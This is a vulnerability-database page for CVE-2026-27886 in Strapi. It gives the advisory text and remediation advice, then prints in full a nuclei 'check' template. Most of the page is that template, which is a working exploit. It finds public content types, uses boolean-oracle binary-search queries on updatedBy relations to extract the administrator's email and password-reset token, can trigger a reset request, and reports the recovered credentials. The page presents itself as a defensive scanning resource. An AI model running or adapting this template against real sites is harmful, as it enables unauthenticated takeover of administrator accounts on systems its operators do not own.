HexBrain

Browse / CVEs / CVE-2026-27886

CVE-2026-27886· strapi / strapi· CWE-200

Strapi <=5.36.x - Admin Credential Enumeration

criticalseverity
9.2CVSS score
1.9%likelihood of exploitation, next 30 days
80%of all CVEs are less likely
Readycheck to confirm it

Strapi versions starting in 4.0.0 and prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field, enabling full administrative account takeover without authentication.

Impact

An unauthenticated attacker can recover the full admin email address and password-reset token, enabling direct account takeover without any existing credentials.

Fix

Upgrade Strapi to version 5.37.0 or later. The patch introduces explicit query-parameter sanitization via strictParam, addQueryParams, and addBodyParams primitives that reject operator chains traversing into restricted relational targets before reaching the database.

How to confirm it

Send: GET /api/users-permissions/roles
Send: GET /api/users-permissions/roles/{{public_role_id}}
Send: GET /api/content-type-builder/content-types
Send: GET /documentation/v1.0.0/api.json
Send: GET /api/{{probe_col}}
Send: GET /api/{{collection}}
Send: GET /api/{{collection}}?where[id][$lt]=-1
Send: GET /api/{{collection}}?{{enum_query}}
Send: GET /api/{{collection}}
Positive when: len(admin_email) > 0 || len(admin_token) > 0
Send: POST /admin/forgot-password

Run it with nuclei: nuclei -id CVE-2026-27886 -u <target>

The full check
id: CVE-2026-27886

info:
  name: Strapi <=5.36.x - Admin Credential Enumeration
  author: zeroc00I
  severity: critical
  description: |
    Strapi versions starting in 4.0.0 and prior to 5.37.0 did not sufficiently sanitize query parameters when filtering content via relational fields. An attacker could use the `where` query parameter on any publicly-accessible content-type with an `updatedBy` field to perform a boolean-oracle attack against private fields on the joined admin_users table, including the resetPasswordToken field, enabling full administrative account takeover without authentication.
  impact: |
    An unauthenticated attacker can recover the full admin email address and password-reset token, enabling direct account takeover without any existing credentials.
  remediation: |
    Upgrade Strapi to version 5.37.0 or later. The patch introduces explicit query-parameter sanitization via strictParam, addQueryParams, and addBodyParams primitives that reject operator chains traversing into restricted relational targets before reaching the database.
  reference:
    - https://github.com/strapi/strapi/security/advisories
    - https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi
    - https://github.com/BishopFox/CVE-2026-27886-check
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27886
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-27886
    epss-score: 0.01916
    epss-percentile: 0.80028
    cwe-id: CWE-200
    cpe: cpe:2.3:a:strapi:strapi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 800
    vendor: strapi
    product: strapi
    shodan-query: 'http.title:"Strapi"'
    fofa-query: 'app="strapi-Headless-CMS"'
  tags: cve,cve2026,strapi,idor,unauth,intrusive

variables:
  collection: ""
  kind: "collection"
  probe_col: ""
  public_role_id: "2"
  enum_query: ""
  allow_trigger: "false"
  trigger_email: ""
  collection_wordlist: ""
  discovery_method: "auto"

flow: |
  function detectKind() {
    try {
      let d = JSON.parse(template["probe_body"] || "{}");
      if (Array.isArray(d.data) || (d.meta && d.meta.pagination)) return "collection";
      if (d.data && typeof d.data === "object") return "single";
    } catch(e) {}
    return "collection";
  }

  let collection = template["collection"] || "";
  let kind = template["kind"] || "collection";

  if (!collection) {
    http(1);
    let idsToTry = [2, 1];
    try {
      let d = JSON.parse(template["roles_list_body"] || "{}");
      let roles = d.roles || [];
      for (let i = 0; i < roles.length; i++) {
        if (roles[i].type === "public" && roles[i].id) {
          idsToTry = [roles[i].id];
          break;
        }
      }
    } catch(e) {}

    for (let ri = 0; ri < idsToTry.length && !collection; ri++) {
      set("public_role_id", String(idsToTry[ri]));
      http(2);
      try {
        let d = JSON.parse(template["roles_body"] || "{}");
        if (!d.role || d.role.type !== "public") continue;
        let perms = d.role.permissions || {};
        outer: for (let ns of Object.keys(perms)) {
          if (!ns.startsWith("api::")) continue;
          let ctrls = perms[ns].controllers || {};
          for (let ctrl of Object.keys(ctrls)) {
            if (ctrls[ctrl].find && ctrls[ctrl].find.enabled) {
              set("probe_col", ctrl + "s");
              http(5);
              if (template["probe_status"] === "200") {
                collection = ctrl + "s";
                kind = detectKind();
                break outer;
              }
              set("probe_col", ctrl);
              http(5);
              if (template["probe_status"] === "200") {
                collection = ctrl;
                kind = detectKind();
                break outer;
              }
            }
          }
        }
      } catch(e) {}
    }
  }

  if (!collection) {
    http(3);
    try {
      let d = JSON.parse(template["ctb_body"] || "{}");
      let items = d.data || [];
      for (let i = 0; i < items.length; i++) {
        let ct = items[i];
        if (!ct.uid || !ct.uid.startsWith("api::")) continue;
        let schema = ct.schema || {};
        let name = (schema.kind === "singleType") ? schema.singularName : schema.pluralName;
        if (!name) continue;
        set("probe_col", name);
        http(5);
        if (template["probe_status"] === "200") {
          collection = name;
          kind = detectKind();
          break;
        }
      }
    } catch(e) {}
  }

  if (!collection) {
    http(4);
    try {
      let d = JSON.parse(template["openapi_body"] || "{}");
      let paths = Object.keys(d.paths || {});
      for (let i = 0; i < paths.length; i++) {
        let m = paths[i].match(/^\/api\/([a-z][a-z0-9-]+)$/);
        if (m) {
          set("probe_col", m[1]);
          http(5);
          if (template["probe_status"] === "200") {
            collection = m[1];
            kind = detectKind();
            break;
          }
        }
      }
    } catch(e) {}
  }

  if (!collection) {
    let words;
    if ((template["collection_wordlist"] || "").length > 0) {
      javascript(1);
      let raw = (template["wl_loaded"] || "").replace(/^\s*\[|\]\s*$/g, "");
      words = raw.split(/[\s,]+/).map(w => w.trim()).filter(w => w.length > 0);
    } else {
      words = ["articles","posts","products","pages","news","blogs","categories","entries","events","comments","users","tags","uploads","global","homepage","home","about","contact","navigation","footer","header","setting","general","seo","social","config"];
    }

    for (let i = 0; i < words.length; i++) {
      let w = words[i];
      if (!w) continue;
      set("probe_col", w);
      http(5);
      if (template["probe_status"] === "200") {
        collection = w;
        kind = detectKind();
        set("discovery_method", "wordlist");
        break;
      }
    }
  }

  let proceed = collection !== "";

  if (proceed) {
    set("collection", collection);
    set("kind", kind);

    http(6);
    http(7);

    if (kind === "single") {
      if (template["baseline_status"] !== "200" || template["probediff_status"] !== "404") {
        proceed = false;
      }
    } else {
      let base = parseInt(template["total_baseline"] || "0");
      let probe = parseInt(template["total_probe"] || "0");
      if (base === 0 || probe !== 0) proceed = false;
    }
  }

  function oracleHit() {
    if (kind === "single") return template["enum_status"] === "200";
    return parseInt(template["total_enum"] || "0") > 0;
  }

  function hit(q) {
    set("enum_query", q);
    http(8);
    return oracleHit();
  }

  if (proceed) {
    let hexAlpha = "0123456789abcdef";
    let emailAlpha = "+-.0123456789@_abcdefghijklmnopqrstuvwxyz";
    let tokenLen = 40;
    let emailMax = 48;

    let canary = "qzx" + Math.random().toString(36).slice(2,12) + Math.random().toString(36).slice(2,8);
    if (hit("where[updatedBy][email][$startsWith]=" + encodeURIComponent(canary))) {
      proceed = false;
    }

    let isoPrefix = "where[updatedBy][resetPasswordToken][$notNull]=true";
    let hasToken = proceed && hit(isoPrefix);
    let iso = hasToken ? (isoPrefix + "&") : "";

    function extract(field, alpha, maxLen) {
      let val = "";
      for (let pos = 0; pos < maxLen; pos++) {
        let lock = iso;
        if (val.length > 0) {
          lock += "where[updatedBy][" + field + "][$startsWith]=" + encodeURIComponent(val) + "&";
        }
        let lo = 0, hi = alpha.length - 1, ans = -1;
        while (lo <= hi) {
          let mid = Math.floor((lo + hi) / 2);
          let q = lock + "where[updatedBy][" + field + "][$gte]=" + encodeURIComponent(val + alpha[mid]);
          if (hit(q)) { ans = mid; lo = mid + 1; } else { hi = mid - 1; }
        }
        if (ans < 0) break;
        val += alpha[ans];
      }
      return val;
    }

    if (proceed) {
      let email = extract("email", emailAlpha, emailMax);
      set("admin_email", email);

      let triggered = false;
      if (!hasToken && template["allow_trigger"] === "true" && email.length > 0) {
        set("trigger_email", email);
        http(10);
        let pin = "where[updatedBy][resetPasswordToken][$notNull]=true&where[updatedBy][email][$startsWith]=" + encodeURIComponent(email);
        if (hit(pin)) {
          hasToken = true;
          triggered = true;
          iso = pin + "&";
        }
      }
      set("trigger_used", triggered ? "true" : "false");

      if (hasToken) {
        let token = extract("resetPasswordToken", hexAlpha, tokenLen);
        set("admin_token", token);
      }

      if (email.length > 0) http(9);
    }
  }

javascript:
  - code: |
      wl;
    args:
      wl: "{{collection_wordlist}}"
    extractors:
      - type: dsl
        name: wl_loaded
        internal: true
        dsl:
          - 'response'

http:
  - raw:
      - |
        GET /api/users-permissions/roles HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: roles_list_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/users-permissions/roles/{{public_role_id}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: roles_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/content-type-builder/content-types HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: ctb_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /documentation/v1.0.0/api.json HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: openapi_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/{{probe_col}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: dsl
        name: probe_status
        internal: true
        dsl:
          - 'status_code'
      - type: dsl
        name: probe_body
        internal: true
        dsl:
          - 'body'

  - raw:
      - |
        GET /api/{{collection}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: total_baseline
        internal: true
        json:
          - ".meta.pagination.total"
      - type: dsl
        name: baseline_status
        internal: true
        dsl:
          - 'status_code'

  - raw:
      - |
        GET /api/{{collection}}?where[id][$lt]=-1 HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: total_probe
        internal: true
        json:
          - ".meta.pagination.total"
      - type: dsl
        name: probediff_status
        internal: true
        dsl:
          - 'status_code'

  - raw:
      - |
        GET /api/{{collection}}?{{enum_query}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    extractors:
      - type: json
        name: total_enum
        internal: true
        json:
          - ".meta.pagination.total"
      - type: dsl
        name: enum_status
        internal: true
        dsl:
          - 'status_code'

  - raw:
      - |
        GET /api/{{collection}} HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'len(admin_email) > 0 || len(admin_token) > 0'

    extractors:
      - type: dsl
        name: credentials
        dsl:
          - 'admin_email + " | " + admin_token'

      - type: dsl
        name: via_fuzzing
        dsl:
          - 'discovery_method == "wordlist" ? "FUZZED-collection=" + collection : ""'

  - raw:
      - |
        POST /admin/forgot-password HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"email":"{{trigger_email}}"}

References

Use this check only on systems you are authorised to test. Where the data comes from